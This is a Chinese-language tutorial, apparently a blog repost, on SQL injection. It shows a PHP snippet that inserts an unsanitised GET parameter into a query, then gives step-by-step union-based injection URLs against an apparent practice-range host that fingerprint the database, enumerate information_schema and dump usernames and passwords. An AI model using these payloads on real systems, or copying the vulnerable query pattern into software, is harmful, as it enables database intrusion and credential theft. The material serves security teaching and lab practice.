SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息
SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现对数据库中数据的获取以及操作
if(isset($_GET[‘id‘]))
{
// 可控变量
$id=$_GET[‘id‘];
// 定义SQL语句且被执行
$sql="SELECT * FROM users WHERE id=‘$id‘ LIMIT 0,1";
$result=mysql_query($sql);
}
# 可能存在注入有可控变量 id = 1
www.test.com/index.php?id=1
# 可能存在注入有可控变量 id = 1
www.test.com/?id=1
# 可能存在注入有可控变量 id = 1 and x = 1
www.test.com/index.php?id=1&x=1
# # 可能存在注入例如post提交数据
www.test.com/index.php
# 若参数x为注入变量 下列注入正确语句是
# 此时注入语句在变量y后不在x中 故不存在注入
1: www.test.con/index.php?y=1 and 1=1&x=2
# 注入语句在注入变量x之后
2: www.test.com/index.php?y=1&x=2 and 1=1
# 只要x存在注入语句 y可写可不写
3: www.test.com/index.php?y=2 and 1=1 &x=1 and 1=1
# 变量名称与上述x都不对等 故不存在
4: www.test.com/index.php?xxx=1 and 1=1&xxx=1 and 1=1
# 判断是否存在注入 存在页面正常
select * from table where id = 1 and 1 = 1
# 页面报错
select * from table where id = 1 and 1 = 2
# 数字为几页面报错 则字段数量为几 - 1
select * from table where id =1 order by + 数字
http://219.153.49.228:45448/new_list.php?id=1 order by 5
http://219.153.49.228:45448/new_list.php?id=-1 union selec 1,2,3,4
‘‘‘
1:数据库名称:database()
2:数据库版本:version()
3:数据库用户:user()
4:数据库系统:@@version_compile_os
‘‘‘
http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,database(),version(),4
http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4
在MySQL5.0中而information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
# 查询mozhe_Discuz_StormGroup表面信息
# 使用group_concat将多条数据合并成一条数据显示
http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema=‘mozhe_Discuz_StormGroup‘
http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name=‘StormGroup_member‘
http://219.153.49.228:45448/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
原文:https://www.cnblogs.com/SR-Program/p/15013647.html